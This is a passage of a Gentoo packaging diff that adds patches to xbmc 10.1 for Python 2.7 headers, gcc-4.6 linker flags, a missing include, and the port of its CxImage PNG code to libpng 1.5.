+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp b/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp
+index b021501..92d9903 100644
+--- a/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/winxmldialog.cpp
+@@ -24,7 +24,9 @@
+ #endif
+ #include "winxml.h"
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp b/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp
+index b8bc0a3..c65aded 100644
+--- a/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/xbmcaddonmodule.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+diff --git a/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp b/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp
+index 87c0ead..9941769 100644
+--- a/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/xbmcguimodule.cpp
+@@ -23,7 +23,10 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++    #include <python2.7/structmember.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+     #include <python2.6/structmember.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+diff --git a/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp b/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp
+index 3bab5a9..1e2c480 100644
+--- a/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp
++++ b/xbmc/lib/libPython/xbmcmodule/xbmcmodule.cpp
+@@ -23,7 +23,9 @@
+   #include "config.h"
+ #endif
+ #if (defined USE_EXTERNAL_PYTHON)
+-  #if (defined HAVE_LIBPYTHON2_6)
++  #if (defined HAVE_LIBPYTHON2_7)
++    #include <python2.7/Python.h>
++  #elif (defined HAVE_LIBPYTHON2_6)
+     #include <python2.6/Python.h>
+   #elif (defined HAVE_LIBPYTHON2_5)
+     #include <python2.5/Python.h>
+-- 
+1.7.3.1
+
diff --git a/media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch b/media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch
new file mode 100644
index 00000000..b3e8c7c2
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch
@@ -0,0 +1,100 @@
+http://trac.xbmc.org/ticket/11383
+http://bugs.gentoo.org/367261
+
+From c66099c4d8e6b2d748ca3ddc31ee90b731d0f620 Mon Sep 17 00:00:00 2001
+From: Stephan Raue <stephan@openelec.tv>
+Date: Wed, 30 Mar 2011 14:57:28 +0200
+Subject: [PATCH] dvdplayer: fix build with gcc-4.6. Flags to the Linker must be passed via -Wl,. This fixes ticket #11383
+
+Signed-off-by: Stephan Raue <stephan@openelec.tv>
+---
+ xbmc/cores/dvdplayer/Codecs/Makefile.in        |   18 +++++++++---------
+ xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in |    4 ++--
+ 2 files changed, 11 insertions(+), 11 deletions(-)
+
+diff --git a/xbmc/cores/dvdplayer/Codecs/Makefile.in b/xbmc/cores/dvdplayer/Codecs/Makefile.in
+index a7ef1a0..308664a 100644
+--- a/xbmc/cores/dvdplayer/Codecs/Makefile.in
++++ b/xbmc/cores/dvdplayer/Codecs/Makefile.in
+@@ -148,32 +148,32 @@ liba52:
+ else
+ 
+ $(SYSDIR)/avutil-50-$(ARCH).so: ffmpeg/libavutil/libavutil.so
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \
+ 		ffmpeg/libavutil/*.o `cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ $(SYSDIR)/avcodec-52-$(ARCH).so: $(WRAPPER) ffmpeg/libavcodec/libavcodec.so
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \
+ 		ffmpeg/libavcodec/*.o ffmpeg/libavcodec/$(ARCH_DIR)/*.o \
+ 		`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ $(SYSDIR)/avformat-52-$(ARCH).so: $(WRAPPER) ffmpeg/libavformat/libavformat.so
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \
+ 		ffmpeg/libavformat/*.o `cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ ifneq ($(ARCH), arm)
+ $(SYSDIR)/swscale-0.6.1-$(ARCH).so: $(WRAPPER) ffmpeg/libswscale/libswscale.so
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \
+ 		ffmpeg/libswscale/*.o ffmpeg/libswscale/$(ARCH_DIR)/*.o \
+ 		`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ else # No ARM version of swscale available yet.
+ $(SYSDIR)/swscale-0.6.1-$(ARCH).so: $(WRAPPER) ffmpeg/libswscale/libswscale.so
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \
+ 		ffmpeg/libswscale/*.o \
+ 		`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ endif
+ 
+ $(SYSDIR)/postproc-51-$(ARCH).so: $(WRAPPER) ffmpeg/libpostproc/libpostproc.so
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ -Wl,-Bsymbolic \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ -Wl,-Bsymbolic \
+ 		ffmpeg/libpostproc/*.o `cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ ffmpeg/libavutil/libavutil.so     : ffmpeg;
+@@ -185,17 +185,17 @@ ffmpeg:
+ 	$(MAKE) -C $@
+ 
+ $(SYSDIR)/libdts-$(ARCH).so: $(WRAPPER) libdts/libdts/libdts.a
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ \
+ 		libdts/libdts/bitstream.o \
+ 		libdts/libdts/downmix.o libdts/libdts/parse.o \
+ 		`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ $(SYSDIR)/liba52-$(ARCH).so: $(WRAPPER) liba52/liba52/liba52.la
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ liba52/liba52/.libs/*.o \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ liba52/liba52/.libs/*.o \
+ 		-Wl`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ $(SYSDIR)/libao-$(ARCH).so: $(WRAPPER) liba52/libao/libao.a
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ liba52/libao/libao.a \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ liba52/libao/libao.a \
+ 		-Wl`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ libdts/libdts/libdts.a : libdts;
+diff --git a/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in b/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in
+index 3c487e9..6d4abd4 100644
+--- a/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in
++++ b/xbmc/cores/dvdplayer/Codecs/libdvd/Makefile.in
+@@ -49,12 +49,12 @@ $(SYSDIR)/libdvdnav-$(ARCH).so: $(WRAPPER_OSX) $(DVDCSS_A) libdvdread/obj/libdvd
+ else
+ 
+ $(SYSDIR)/libdvdcss-$(ARCH).so: $(WRAPPER) libdvdcss/src/.libs/libdvdcss.a
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ \
+ 		libdvdcss/src/*.o \
+ 		`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ $(SYSDIR)/libdvdnav-$(ARCH).so: $(WRAPPER) $(DVDCSS_A) libdvdread/obj/libdvdread.a libdvdnav/obj/libdvdnav.a
+-	$(CC) -o $@ $(LDFLAGS) --soname,$@ $(DVDCSS_O) libdvdread/obj/*.o libdvdnav/obj/*.o \
++	$(CC) -o $@ $(LDFLAGS) -Wl,--soname,$@ $(DVDCSS_O) libdvdread/obj/*.o libdvdnav/obj/*.o \
+ 		`cat $(WRAPPER:.o=.def)` $(WRAPPER)
+ 
+ endif
+-- 
+1.7.0.2
+
diff --git a/media-tv/xbmc/files/xbmc-10.1-headers.patch b/media-tv/xbmc/files/xbmc-10.1-headers.patch
new file mode 100644
index 00000000..8c23db86
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-10.1-headers.patch
@@ -0,0 +1,10 @@
+--- a/tools/TexturePacker/XBTFWriter.cpp
++++ b/tools/TexturePacker/XBTFWriter.cpp
+@@ -28,6 +28,7 @@
+ #include "EndianSwap.h"
+ #define __STDC_FORMAT_MACROS
+ #include <inttypes.h>
++#include <unistd.h> /* for unlink() prototype */
+ 
+ #define TEMP_FILE "temp.xbt"
+ #define TEMP_SIZE (10*1024*1024)
diff --git a/media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch b/media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch
new file mode 100644
index 00000000..4d992275
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch
@@ -0,0 +1,596 @@
+fix building with newer libpng.  patch by Ian Stakenvicius.
+
+https://bugs.gentoo.org/380127
+
+--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.h
++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.h
+@@ -69,8 +69,13 @@
+ 
+     static void PNGAPI user_error_fn(png_structp png_ptr,png_const_charp error_msg)
+ 	{
++#if PNG_LIBPNG_VER > 10399
++		strncpy((char*)png_get_error_ptr(png_ptr),error_msg,255);
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		strncpy((char*)png_ptr->error_ptr,error_msg,255);
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ };
+ 
+--- a/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
++++ b/xbmc/lib/cximage-6.0/CxImage/ximapng.cpp
+@@ -15,7 +15,11 @@
+ void CxImagePNG::ima_png_error(png_struct *png_ptr, char *message)
+ {
+ 	strcpy(info.szLastError,message);
++#if PNG_LIBPNG_VER > 10399
++	longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 	longjmp(png_ptr->jmpbuf, 1);
++#endif
+ }
+ ////////////////////////////////////////////////////////////////////////////////
+ #if CXIMAGE_SUPPORT_DECODE
+@@ -62,7 +66,11 @@
+     /* Set error handling if you are using the setjmp/longjmp method (this is
+     * the normal method of doing things with libpng).  REQUIRED unless you
+     * set up your own error handlers in the png_create_read_struct() earlier. */
++#if PNG_LIBPNG_VER > 10399
++	if (setjmp(png_jmpbuf(png_ptr))) {
++#else
+ 	if (setjmp(png_ptr->jmpbuf)) {
++#endif
+ 		/* Free all of the memory associated with the png_ptr and info_ptr */
+ 		delete [] row_pointers;
+ 		png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp)NULL);
+@@ -70,16 +78,35 @@
+ 	/* read the file information */
+ 	png_read_info(png_ptr, info_ptr);
+ 
++	png_uint_32 _width,_height;
++	int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type;
++#if PNG_LIBPNG_VER > 10399
++	png_get_IHDR(png_ptr,info_ptr,&_width,&_height,&_bit_depth,&_color_type,
++		&_interlace_type,&_compression_type,&_filter_type);
++#else
++	_width=info_ptr->width;
++	_height=info_ptr->height;
++	_bit_depth=info_ptr->bit_depth;
++	_color_type=info_ptr->color_type;
++	_interlace_type=info_ptr->interlace_type;
++	_compression_type=info_ptr->compression_type;
++	_filter_type=info_ptr->filter_type;
++#endif
++
+ 	if (info.nEscape == -1){
+-		head.biWidth = info_ptr->width;
+-		head.biHeight= info_ptr->height;
++		head.biWidth = _width;
++		head.biHeight= _height;
+ 		info.dwType = CXIMAGE_FORMAT_PNG;
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	/* calculate new number of channels */
+ 	int channels=0;
+-	switch(info_ptr->color_type){
++	switch(_color_type){
+ 	case PNG_COLOR_TYPE_GRAY:
+ 	case PNG_COLOR_TYPE_PALETTE:
+ 		channels = 1;
+@@ -101,71 +128,108 @@
+ 		break;
+ 	default:
+ 		strcpy(info.szLastError,"unknown PNG color type");
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	//find the right pixel depth used for cximage
++#if PNG_LIBPNG_VER > 10399
++	int pixel_depth = _bit_depth * png_get_channels(png_ptr,info_ptr);
++#else
+ 	int pixel_depth = info_ptr->pixel_depth;
++#endif
+ 	if (channels == 1 && pixel_depth>8) pixel_depth=8;
+ 	if (channels == 2) pixel_depth=8;
+ 	if (channels >= 3) pixel_depth=24;
+ 
+-	if (!Create(info_ptr->width, info_ptr->height, pixel_depth, CXIMAGE_FORMAT_PNG)){
++	if (!Create(_width, _height, pixel_depth, CXIMAGE_FORMAT_PNG)){
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
+ 		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 	}
+ 
+ 	/* get metrics */
+-	switch (info_ptr->phys_unit_type)
++	png_uint_32 _x_pixels_per_unit,_y_pixels_per_unit;
++	int _phys_unit_type;
++#if PNG_LIBPNG_VER > 10399
++	png_get_pHYs(png_ptr,info_ptr,&_x_pixels_per_unit,&_y_pixels_per_unit,&_phys_unit_type);
++#else
++	_x_pixels_per_unit=info_ptr->x_pixels_per_unit;
++	_y_pixels_per_unit=info_ptr->y_pixels_per_unit;
++	_phys_unit_type=info_ptr->phys_unit_type;
++#endif
++	switch (_phys_unit_type)
+ 	{
+ 	case PNG_RESOLUTION_UNKNOWN:
+-		SetXDPI(info_ptr->x_pixels_per_unit);
+-		SetYDPI(info_ptr->y_pixels_per_unit);
++		SetXDPI(_x_pixels_per_unit);
++		SetYDPI(_y_pixels_per_unit);
+ 		break;
+ 	case PNG_RESOLUTION_METER:
+-		SetXDPI((long)floor(info_ptr->x_pixels_per_unit * 254.0 / 10000.0 + 0.5));
+-		SetYDPI((long)floor(info_ptr->y_pixels_per_unit * 254.0 / 10000.0 + 0.5));
++		SetXDPI((long)floor(_x_pixels_per_unit * 254.0 / 10000.0 + 0.5));
++		SetYDPI((long)floor(_y_pixels_per_unit * 254.0 / 10000.0 + 0.5));
+ 		break;
+ 	}
+ 
+-	if (info_ptr->num_palette>0){
+-		SetPalette((rgb_color*)info_ptr->palette,info_ptr->num_palette);
+-		SetClrImportant(info_ptr->num_palette);
+-	} else if (info_ptr->bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
++	int _num_palette;
++	png_colorp _palette;
++#if PNG_LIBPNG_VER > 10399
++	png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette);
++#else
++	_num_palette=info_ptr->num_palette;
++	_palette=info_ptr->palette;
++#endif
++	if (_num_palette>0){
++		SetPalette((rgb_color*)_palette,_num_palette);
++		SetClrImportant(_num_palette);
++	} else if (_bit_depth ==2) { //<DP> needed for 2 bpp grayscale PNGs
+ 		SetPaletteColor(0,0,0,0);
+ 		SetPaletteColor(1,85,85,85);
+ 		SetPaletteColor(2,170,170,170);
+ 		SetPaletteColor(3,255,255,255);
+ 	} else SetGrayPalette(); //<DP> needed for grayscale PNGs
+ 	
+-	int nshift = max(0,(info_ptr->bit_depth>>3)-1)<<3;
++	int nshift = max(0,(_bit_depth>>3)-1)<<3;
+ 
+-	if (info_ptr->num_trans!=0){ //palette transparency
+-		if (info_ptr->num_trans==1){
+-			if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){
++	png_bytep _trans_alpha;
++	int _num_trans;
++	png_color_16p _trans_color;
++#if PNG_LIBPNG_VER > 10399
++	png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color);
++#else
++	_num_trans=info_ptr->num_trans;
++#endif
++	if (_num_trans!=0){ //palette transparency
++		if (_num_trans==1){
++			if (_color_type == PNG_COLOR_TYPE_PALETTE){
+ #if PNG_LIBPNG_VER > 10399
+-				info.nBkgndIndex = info_ptr->trans_color.index;
++				info.nBkgndIndex = _trans_color->index;
+ #else
+ 				info.nBkgndIndex = info_ptr->trans_values.index;
+ #endif
+ 			} else{
+ #if PNG_LIBPNG_VER > 10399
+-				info.nBkgndIndex = info_ptr->trans_color.gray>>nshift;
++				info.nBkgndIndex = _trans_color->gray>>nshift;
+ #else
+ 				info.nBkgndIndex = info_ptr->trans_values.gray>>nshift;
+ #endif
+ 			}
+ 		}
+-		if (info_ptr->num_trans>1){
++		if (_num_trans>1){
+ 			RGBQUAD* pal=GetPalette();
+ 			if (pal){
+ 				DWORD ip;
+-				for (ip=0;ip<min(head.biClrUsed,(unsigned long)info_ptr->num_trans);ip++)
++				for (ip=0;ip<min(head.biClrUsed,(unsigned long)_num_trans);ip++)
+ #if PNG_LIBPNG_VER > 10399
+-					pal[ip].rgbReserved=info_ptr->trans_alpha[ip];
++					pal[ip].rgbReserved=_trans_alpha[ip];
+ #else
+ 					pal[ip].rgbReserved=info_ptr->trans[ip];
+ #endif
+-				for (ip=info_ptr->num_trans;ip<head.biClrUsed;ip++){
++				for (ip=_num_trans;ip<head.biClrUsed;ip++){
+ 					pal[ip].rgbReserved=255;
+ 				}
+ 				info.bAlphaPaletteEnabled=true;
+@@ -174,14 +238,12 @@
+ 	}
+ 
+ 	if (channels == 3){ //check RGB binary transparency
+-		png_bytep trans;
+-		int num_trans;
+-		png_color_16 *image_background;
+-		if (png_get_tRNS(png_ptr, info_ptr, &trans, &num_trans, &image_background)){
+-#if PNG_LIBPNG_VER > 10399
+-			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_color.red>>nshift);
+-			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift);
+-			info.nBkgndColor.rgbBlue  = (BYTE)(info_ptr->trans_color.blue>>nshift);
++		/* seems unnecessary to call again, but the conditional must be important so... */
++		if (png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color)){
++#if PNG_LIBPNG_VER > 10399
++			info.nBkgndColor.rgbRed   = (BYTE)(_trans_color->red>>nshift);
++			info.nBkgndColor.rgbGreen = (BYTE)(_trans_color->green>>nshift);
++			info.nBkgndColor.rgbBlue  = (BYTE)(_trans_color->blue>>nshift);
+ #else
+ 			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_values.red>>nshift);
+ 			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift);
+@@ -202,15 +264,24 @@
+ 	}
+ 
+ 	// <vho> - flip the RGB pixels to BGR (or RGBA to BGRA)
+-	if (info_ptr->color_type & PNG_COLOR_MASK_COLOR){
++	if (_color_type & PNG_COLOR_MASK_COLOR){
+ 		png_set_bgr(png_ptr);
+ 	}
+ 
+ 	// <vho> - handle cancel
+-	if (info.nEscape) longjmp(png_ptr->jmpbuf, 1);
++	if (info.nEscape)
++#if PNG_LIBPNG_VER > 10399
++		longjmp(png_jmpbuf(png_ptr), 1);
++#else
++		longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 
+ 	// row_bytes is the width x number of channels x (bit-depth / 8)
++#if PNG_LIBPNG_VER > 10399
++	row_pointers = new BYTE[png_get_rowbytes(png_ptr,info_ptr) + 8];
++#else
+ 	row_pointers = new BYTE[info_ptr->rowbytes + 8];
++#endif
+ 
+ 	// turn on interlace handling
+ 	int number_passes = png_set_interlace_handling(png_ptr);
+@@ -221,8 +292,12 @@
+ 		SetCodecOption(0);
+ 	}
+ 
+-	int chan_offset = info_ptr->bit_depth >> 3;
++	int chan_offset = _bit_depth >> 3;
++#if PNG_LIBPNG_VER > 10399
++	int pixel_offset = (_bit_depth * png_get_channels(png_ptr,info_ptr)) >> 3;
++#else
+ 	int pixel_offset = info_ptr->pixel_depth >> 3;
++#endif
+ 
+ 	for (int pass=0; pass < number_passes; pass++) {
+ 		iter.Upset();
+@@ -230,7 +305,12 @@
+ 		do	{
+ 
+ 			// <vho> - handle cancel
+-			if (info.nEscape) longjmp(png_ptr->jmpbuf, 1);
++			if (info.nEscape)
++#if PNG_LIBPNG_VER > 10399
++				longjmp(png_jmpbuf(png_ptr), 1);
++#else
++				longjmp(png_ptr->jmpbuf, 1);
++#endif
+ 
+ #if CXIMAGE_SUPPORT_ALPHA	// <vho>
+ 			if (AlphaIsValid()) {
+@@ -241,7 +321,7 @@
+ 				BYTE* prow= iter.GetRow(ay);
+ 
+ 				//recover data from previous scan
+-				if (info_ptr->interlace_type && pass>0 && pass!=7){
++				if (_interlace_type && pass>0 && pass!=7){
+ 					for(ax=0;ax<head.biWidth;ax++){
+ 						long px = ax * pixel_offset;
+ 						if (channels == 2){
+@@ -278,10 +358,14 @@
+ #endif // CXIMAGE_SUPPORT_ALPHA		// vho
+ 			{
+ 				//recover data from previous scan
+-				if (info_ptr->interlace_type && pass>0){
++				if (_interlace_type && pass>0){
++#if PNG_LIBPNG_VER > 10399
++					iter.GetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr));
++#else
+ 					iter.GetRow(row_pointers, info_ptr->rowbytes);
++#endif
+ 					//re-expand buffer for images with bit depth > 8
+-					if (info_ptr->bit_depth > 8){
++					if (_bit_depth > 8){
+ 						for(long ax=(head.biWidth*channels-1);ax>=0;ax--)
+ 							row_pointers[ax*chan_offset] = row_pointers[ax];
+ 					}
+@@ -291,15 +375,19 @@
+ 				png_read_row(png_ptr, row_pointers, NULL);
+ 
+ 				//shrink 16 bit depth images down to 8 bits
+-				if (info_ptr->bit_depth > 8){
++				if (_bit_depth > 8){
+ 					for(long ax=0;ax<(head.biWidth*channels);ax++)
+ 						row_pointers[ax] = row_pointers[ax*chan_offset];
+ 				}
+ 
+ 				//copy the pixels
++#if PNG_LIBPNG_VER > 10399
++				iter.SetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr));
++#else
+ 				iter.SetRow(row_pointers, info_ptr->rowbytes);
++#endif
+ 				//<DP> expand 2 bpp images only in the last pass
+-				if (info_ptr->bit_depth==2 && pass==(number_passes-1))
++				if (_bit_depth==2 && pass==(number_passes-1))
+ 					expand2to4bpp(iter.GetRow());
+ 
+ 				//go on
+@@ -361,9 +449,13 @@
+    /* Set error handling.  REQUIRED if you aren't supplying your own
+     * error hadnling functions in the png_create_write_struct() call.
+     */
++#if PNG_LIBPNG_VER > 10399
++	if (setjmp(png_jmpbuf(png_ptr))){
++#else
+ 	if (setjmp(png_ptr->jmpbuf)){
+ 		/* If we get here, we had a problem reading the file */
+ 		if (info_ptr->palette) free(info_ptr->palette);
++#endif
+ 		png_destroy_write_struct(&png_ptr,  (png_infopp)&info_ptr);
+ 		cx_throw("Error saving PNG file");
+ 	}
+@@ -372,9 +464,23 @@
+ 	//png_init_io(png_ptr, hFile);
+ 
+ 	// use custom I/O functions
+-    png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data);
++	png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data);
+ 
+ 	/* set the file information here */
++#if PNG_LIBPNG_VER > 10399
++	/* use variables to hold the values so it isnt necessary to png_get them later */
++	png_uint_32 _width,_height;
++	int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type;
++	png_byte _channels,_pixel_depth;
++
++	_width = GetWidth();
++	_height = GetHeight();
++	_pixel_depth = (BYTE)GetBpp();
++	_channels = (GetBpp()>8) ? (BYTE)3: (BYTE)1;
++	_bit_depth = (BYTE)(GetBpp()/_channels);
++	_compression_type = PNG_COMPRESSION_TYPE_DEFAULT;
++	_filter_type = PNG_FILTER_TYPE_DEFAULT;
++#else
+ 	info_ptr->width = GetWidth();
+ 	info_ptr->height = GetHeight();
+ 	info_ptr->pixel_depth = (BYTE)GetBpp();
+@@ -382,13 +488,22 @@
+ 	info_ptr->bit_depth = (BYTE)(GetBpp()/info_ptr->channels);
+ 	info_ptr->compression_type = info_ptr->filter_type = 0;
+ 	info_ptr->valid = 0;
++#endif
+ 
+ 	switch(GetCodecOption(CXIMAGE_FORMAT_PNG)){
+ 	case 1:
++#if PNG_LIBPNG_VER > 10399
++		_interlace_type = PNG_INTERLACE_ADAM7;
++#else
+ 		info_ptr->interlace_type = PNG_INTERLACE_ADAM7;
++#endif
+ 		break;
+ 	default:
++#if PNG_LIBPNG_VER > 10399
++		_interlace_type = PNG_INTERLACE_NONE;
++#else
+ 		info_ptr->interlace_type = PNG_INTERLACE_NONE;
++#endif
+ 	}
+ 
+ 	/* set compression level */
+@@ -398,22 +513,47 @@
+ 
+ 	if (GetNumColors()){
+ 		if (bGrayScale){
++#if PNG_LIBPNG_VER > 10399
++			_color_type = PNG_COLOR_TYPE_GRAY;
++#else
+ 			info_ptr->color_type = PNG_COLOR_TYPE_GRAY;
++#endif
+ 		} else {
++#if PNG_LIBPNG_VER > 10399
++			_color_type = PNG_COLOR_TYPE_PALETTE;
++#else
+ 			info_ptr->color_type = PNG_COLOR_TYPE_PALETTE;
++#endif
+ 		}
+ 	} else {
++#if PNG_LIBPNG_VER > 10399
++		_color_type = PNG_COLOR_TYPE_RGB;
++#else
+ 		info_ptr->color_type = PNG_COLOR_TYPE_RGB;
++#endif
+ 	}
+ #if CXIMAGE_SUPPORT_ALPHA
+ 	if (AlphaIsValid()){
++#if PNG_LIBPNG_VER > 10399
++		_color_type |= PNG_COLOR_MASK_ALPHA;
++		_channels++;
++		_bit_depth = 8;
++		_pixel_depth += 8;
++#else
+ 		info_ptr->color_type |= PNG_COLOR_MASK_ALPHA;
+ 		info_ptr->channels++;
+ 		info_ptr->bit_depth = 8;
+ 		info_ptr->pixel_depth += 8;
++#endif
+ 	}
+ #endif
+ 
++#if PNG_LIBPNG_VER > 10399
++	/* set the header here, since we're done modifying these values */
++	png_set_IHDR(png_ptr,info_ptr,_width,_height,_bit_depth,_color_type,_interlace_type,
++		_compression_type,_filter_type);
++#endif
++
+ 	/* set background */
+ 	png_color_16 image_background={ 0, 255, 255, 255, 0 };
+ 	RGBQUAD tc = GetTransColor();
+@@ -427,22 +567,24 @@
+ 	/* set metrics */
+ 	png_set_pHYs(png_ptr, info_ptr, head.biXPelsPerMeter, head.biYPelsPerMeter, PNG_RESOLUTION_METER);
+ 
++#if PNG_LIBPNG_VER <= 10399
+ 	png_set_IHDR(png_ptr, info_ptr, info_ptr->width, info_ptr->height, info_ptr->bit_depth,
+ 				info_ptr->color_type, info_ptr->interlace_type,
+ 				PNG_COMPRESSION_TYPE_BASE, PNG_FILTER_TYPE_BASE);
++#endif
+ 
+ 	//<DP> simple transparency
+ 	if (info.nBkgndIndex >= 0){
+-		info_ptr->num_trans = 1;
+-		info_ptr->valid |= PNG_INFO_tRNS;
+ #if PNG_LIBPNG_VER > 10399
+-		info_ptr->trans_alpha = trans;
+-		info_ptr->trans_color.index = (BYTE)info.nBkgndIndex;
+-		info_ptr->trans_color.red   = tc.rgbRed;
+-		info_ptr->trans_color.green = tc.rgbGreen;
+-		info_ptr->trans_color.blue  = tc.rgbBlue;
+-		info_ptr->trans_color.gray  = info_ptr->trans_color.index;
++		png_color_16 _trans_color;
++		_trans_color.index = (BYTE)info.nBkgndIndex;
++		_trans_color.red   = tc.rgbRed;
++		_trans_color.green = tc.rgbGreen;
++		_trans_color.blue  = tc.rgbBlue;
++		_trans_color.gray  = _trans_color.index;
+ #else
++		info_ptr->num_trans = 1;
++		info_ptr->valid |= PNG_INFO_tRNS;
+ 		info_ptr->trans = trans;
+ 		info_ptr->trans_values.index = (BYTE)info.nBkgndIndex;
+ 		info_ptr->trans_values.red   = tc.rgbRed;
+@@ -454,34 +596,53 @@
